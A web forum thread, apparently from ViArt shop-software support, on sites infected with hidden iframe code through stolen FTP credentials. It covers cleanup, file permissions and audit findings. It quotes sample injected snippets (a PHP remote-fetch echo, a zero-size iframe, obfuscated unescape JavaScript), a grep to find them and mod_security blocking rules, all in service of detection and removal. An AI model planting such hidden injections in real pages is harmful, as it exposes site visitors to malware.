Hi,
 
Thanks a lot to hyperconx for providing lots of really helpful information.
 
Let us explain the technique of how the virus that inserts IFRAME works. Entire article can be read as mentioned before at http://www.softpanorama.org/Malware/Malicious_web/malicious_iframe_attack.shtml
Here we shall admit only nuances that have sense in regard to ViArt software.
 
First of all, the changes to web site content are made automatically by use of compromised FTP credentials. Compromising of FTP accounts is performed by some client part of virus which can be run on developer's/web master's PC after visiting some "bad", harmful web site.
 
So malicious iframe code is inserted using FTP protocol, not because of vulnerability of PHP scripts or web server where ViArt is installed. An thus we have to answer several questions:
 
Q: How is virus client code installed on PC?
A: It can be installed because of some vulnerability in Microsoft Windows or Internet Explorer.
Our recommendation: Run antivirus software and scan hard drive of your personal PC. Also check for updates on Microsoft web site and install all latest security fixes for operating system and web browser. From our side, we do the same for our developer's/designer's workstations: scanning for viruses, installing updates. But nevertheless we can't disclaim that our office network infrastructure may be one of the possible ways of how FTP credentials has become compromised.
 
Q: How was my web site affected by the virus?
A: Virus client program has gathered and sent FTP details to some database in Internet. Then some server script was run to connect to a bulk of web sites whose FTP access details were compromised, and wrote malicious code in index.* files of web sites hosted on them.
Our recommendation: Change FTP passwords so old ones can't be used to access your web site.
 
Q: How to remove malicious code from my web server.
A: You need to check and fix the following files in ViArt software:
index.php
admin/index.php
includes/index.php
templates/user/index.html
Our recommendation: Check all index.* files and restore them from backup copy in case they are infected or erase malicious code manually. It usually looks like the following ones.
a) PHP version:
<?php echo file_get_contents("http://www.example.com/some_file"); ?>
b) HTML version:
<iframe src="http://www.example.com/some_file" width="0" height="0"></iframe>
c) PHP based JavaScript version:
<?php
echo "<SCRIPT LANGUAGE=\"JavaScript\">\n";
echo "function Decode(){ __HERE COMES PROGRAM CODE__ }\n";
echo "</SCRIPT><SCRIPT LANGUAGE=\"JavaScript\">\n";
echo "Decode();\n";
echo "</SCRIPT>\n";
?>
d) pure JavaScript version:
<SCRIPT Language="JavaScript">
document.write(unescape("%3C%69%66% ... AND ALL OTHER SYMBOL CODES"));
</SCRIPT>
 
Q: I have fixed my web site once but the malicious code appeared again. What to do? Maybe you are installing it on my site?
A: We have no profit from your web site being infected. Vice versa, we surfer from this situation too. So we have no sense to do it. We have already scanned all our office workstations and removed all viruses that have been installed using vulnerability of Microsoft software or some other ways. We can assure that consciously or unconsciously we don't harm your web site content and files.
Our recommendation: So please, just check your local PC for viruses and change FTP passwords.
 
WBR
ViArt Support Team

Superman! Ok for those that have been hacked via the loss of FTP credentials please ask your host to check for FTP access on the day that the hack took place. If the file was manipulated via FTP they will find an entry for PUT and STOR for the file that was manipulated.
 
Please post the results here so we can track this problem. Thanks.

Eugene,
 
Here is the major statement from that page there:
 
The hosting web server did not have proper security on the file system level. This is, unfortunately, pretty common for (cheap?) hosting servers and is required when PHP is executed as a module in Apache. In this case, the main Apache process must be able to at least read all the files, but it appeared that it was able to write to them as well (wrong file permissions maybe?).
 
The attackers had to find only one vulnerable PHP script on the server (note – the server might have been hosting thousands of different web sites).
 
I seriously doubt that FTP passwords were the compromise. And maybe ViArt functions weren't either. But we have to assume the worst in order to achieve the best. We need more "compromised user" feedback. Where are they hosted is a good start? I think we will find our answers with christopherO and his setup because of the following:
 
A. He is on a dedicated machine. His FTP logs will be clear of multiple user access and if FTP was where the access occurred it can be easily found in the FTP logs.
 
B. There are no other users on the machine so if the access came through a PHP script the script would be his and not another user with apparent root access. Does he run any scripts on the site besides ViArt?
 
C. We can analyze the security on his machine and see if the problem is only with bad hosting security. If he has SSH access I can show him how to do this.
 
christopherO can you please email me at admin@hyperconx.com. Thanks.
 
Again lets assume the worst and guarantee the ViArt users that there isn't a hole in one of the ViArt functions. When we prove that you improve the marketability of the product.
 
Big Wil

Hi,
 
I'm pretty much sure that in log there will be found all the FTP commands mentioned.
Also I agree that vulnerability may exist on all the layers that take place in such process as running web site.
 
What can I say about ViArt hosting? It does run Apache upon user that has no rights to write any info into customers' web site files unless the permissions are set to 777 which is insecure at all and may not be used except if there are particular needs. And we don't set such permissions by default. Nevertheless I can assume that some other hosting services may do it in other way.
 
Taking in consideration the worst situation when we have permissions 777 for all files of web server, I can mention that the scripts that have opportunity to write/change all types of files are
admin/admin_fm_edit_file.php
admin/admin_fm_newfile.php
In the same way they can be run only having ViArt Administrative permissions which are set in database used by software.
All other scripts create files of predefined types and in predefined places (XML site map, database dump, language files).
 
We shall eagerly fix any script if the possibility to write/edit arbitrary files without manually set Administrative permissions will be proofed.
We also promise to issue a discount coupon to a single license of any ViArt product to those of developers who will manage to find severe vulnerability in ViArt scripts and comprehensibly describe it sending a request to Support center. Let us say that it will be a contest where everyone wins
 
WBR,
ViArt Support Team

Bummer I don't win anything. Our servers aren't vulnerable to this as it is blocked with mod_security and we have a multiple site license. So keep the coupon and I will work on it for free. I will let you know if christopherO and I figure anything out.

I opened up our mod_security so that I could test the file manager routines. Doesn't look like we can create or edit any index.php files. It does however allow for the editing of index.html files. If the files that were being manipulated were the .php then we can rule out the file manager. It they were the .html files then back to the task I shall go.
 
Anybody want to inform us of which were manipulated? index.php or index.html?

I'm doing my best to clean this from my site. I have done the following:
 
Removed all the index files bad code
Set permissions on all php files to 0444
Set strong password on the site
 
I tried to change the images permissions, but seems Viart only works if the permissions on the /images folder is 0777! Why is this?

Were those index files index.html or index.php files? Please help with further information.
 
Has this been happening to you repeatedly? Who are you hosted with?
 
The reason for the 777 on images is because PHP is installed as an Apache module and running as the web server user. So it has to be 777 for the web server user to read and write to them unless you give some special permissions to the folder and then you might not be able to upload to it yourself via FTP.
 
There shouldn't be a hole for them to get through period. So 777 shouldn't cause a problem. If it is then there is a hole, or your FTP has been compromised.
 
I would love to help diagnose and stamp this vulnerability out but it is difficult to acquire the correct information via this messaging system. It would help if someone gave me some access of some kind so I can analyze and diagnose based on log files. Email me offlist? admin@hyperconx.com

Hi hyperconx,
 
I have seen both index.php and index.html that were infected.
 
To daviswe:
In regard to permission 777 for folder 'images' and all it's sub folders, it is not obligatory. It is needed only in case you want to upload new image files using admin_upload or user_upload scripts. The same situation is with folder 'messages' and 'db'. So if you don't intend to upload any files, create database dumps or edit language messages, please set permissions to mentioned folders to 755, and for files - 644.
Permission 444 for folder is not correct as in this case none can list it.
 
WBR,
ViArt Support Team
 

Guys, outside the black box,- specific question on this matter:
- running on linux (ubuntu 6*) server hosted some place else and I have full access (virtual server solution). Something (step by step) I should do to make it more secure with relation to this (and possible other) issues? Or am I safe already?

Thank you very much for the interest and desire to help hyperconx.
The fact is that I have a very heavy workload that I fight to keep managed.
I've already deleted all changed files. I know that the matter is serious but I have to take a view; so, for now, I check my index files every day, I change my ftp access periodically, and I allow my scanner to check my disk for rogues each evening.
If I get hacked again I will take your tip and note dates and info on access and, perhaps then, I will have something significant to work on.
For the moment I just needed the reassurance from Viart that the software was secure and feedback on any useful actions.

Guys, I highly, strongly, and urgently suggest that you go download a program called 'putty', and then use it to run this command:
 
grep -Rl 'echo file_get_contents(' public_html/*
 
And if your site is like mine, you will find this code in files that do not have index in the name. It's not limited to just "index" files, I assure you. You will need SSH access to your site to do this. Of course without putty, you can do it, but it will take you a lot longer!
 
As for the permissions on the image folders, I was very surprised to see that write permissions were required just to display images. I Think this is a vulnerability that must be fixed.

Kami,
 
You can follow my advise to christopherO and tell your host you want Mod_Security installed with the rules I give below.
 
christopherO,
 
How can viart guarantee a fix is in place when the possibility of a vulnerability hasn't even been properly considered let alone diagnosed and patched. Without proper research no guarantees can be made. At this point the only reassurance that can be obtained is if you run mod_security with the following rules. Forward this advise to your host.
SecFilterSelective POST_PAYLOAD "unescape\("
SecFilterSelective POST_PAYLOAD "%69%66%72%61%6d%65"
 
Until such time as you can guarantee that they can't write to your files then you are vulnerable and hackers can obtain your customers' vital information. If they can write to a file they can read your configuration information and they can search your SQL database for financial information.
 
daviswe,
 
I thought you meant that 777 was required to upload which it is. If you just want to display images then use 755. I think you were trying 444 which will give you nothing but little red Xs.

Hi,
 
Just thought it may be helpful for better understanding of Unix/Linux permissions system.
Please visit http://www.perlfect.com/articles/chmod.shtml
 
WBR,
ViArt Support Team

I have been experiencing this issue with my Viart installation as well for several weeks. The malicious code seems to be rewritten every weekend and is usually just the bottom of index.php files. Although I occasionally see it added to index.html files as well.
 
Our environment is still in development, and there are only three people who have had the FTP passwords since they were last changed. Me, Eugene, and another developer at Viart. The files were modified again this morning, and I am having the logs reviewed by our host. This does not affect any of my other server accounts (not running Viart), even though they do have index.php files. So I don't think it is from my computer being compromised.

I just found the largest FTP security hole I have ever seen in my 20 years of security auditing. It looks like it is specific to a certain host at this point. Where are you troubled users hosted at? If you all have this host in common then we may have found our answer.
 
If I am currently auditing your system DO NOT answer this post. Those that I am not please give us some host info.

Hi
 
Was hacked on Godaddy. Have since moved, no probs.
 
Cheers
Kim

hyperconx - I am hosted at 1and1
 
Chris

BTW - since the first incident I have checked my index-* files every 2 - 3 days and not since found this problem.

I had my site index.php etc files hacked too, as a virtual novice its been a bit of a trial. Anyhow seems like I sorted it through reading forum posts .. thanks guys.
 
My concern now is how I got hacked I host on Viart and my ftp is relatively straight forward images .. most of my uploads are via the admin site.
 
I put a couple of banners for SEO freebie stuff .. might have been that. Anyhow its just one of those things. Colin

All,
 
Please be aware this code hack was enabled via stolen or guessed passwords, in other words, 'social engineering' more than hacking. If you have ever used non-secure FTP, or logged into a control panel at your ISP using a non-secure link, etc, your username and password were sent in clear text and available to anyone that is watching. There's more, but you get the idea. It's not Viart's fault, its not the fault of your host, and it's not really your fault. It's a combination of curcumstances that everyone has a part in fixing.
 
Ed

Can ViArt comment on this issue ?
 
Is it really a bug/security hole in Viart?

I have done a couple of audits on these problemed users. In both cases the access occurred through FTP. There was no attacke through any of the Viart code. It was simply a breach of someones login.
 
I fully audited the web hosting servers. One was a VPS and the other a basic shared hosting account. Both of these hosting accounts were VERY vulnerable to alot of things. However, see paragraph one above. This wasn't the issue because the access was definately through FTP and due the the permissions on the files at the time the web server would never have been able to write to the files anyways.
 
At this present time I can find no security hole in the Viart software itself.
 
The IPs that were responsible for the FTP access weren't ISP IPs but rather Web Hosted IPs. This gives the impression that there is a script kiddie running at a web hosted site that is being fed your FTP login details.
 
On a second note I was able to achieve FTP login on one of the servers I audited using an invalid password. My hunch tells me that this is caused by the way that CPanel on that machine was installed and later patched. I believe that the patch caused a hole which under certain conditions is vulnerable. I will not post those conditions here for obvious reasons.
 
However, on the second server this hole didn't exist but the access was still taking place. This brings me to the conclusion that the greatest possibility is that someone who has your FTP login details is on a compromised workstation and that workstation is feeding the information to the script kiddies. This is where the MPACK idea comes into play. But first we need to identify who has access to your FTP login information.
 
So I ask directly:
 
Who has access to your FTP login information? Your web developer, your host, your spouse, Viart?

Hi,
 
I installed viart in my localserver(xamp). I would like to change some coding at admin side. First i would like to know about the function "check_admin_security". Where the function besides in the folder. If any body knows about it plz help me.
 
Thanks in advance.
 
Regards,
B.Sridhar.

Exploits like this happen if you EVER log in on an unsecured connection, or FTP to your site using anything other than secure FTP. I realized I was doing that and I got bitten a while back, but since then, all my pages that need it are HTTPS and I use secure FTP, with new passwords, and I'm golden so far.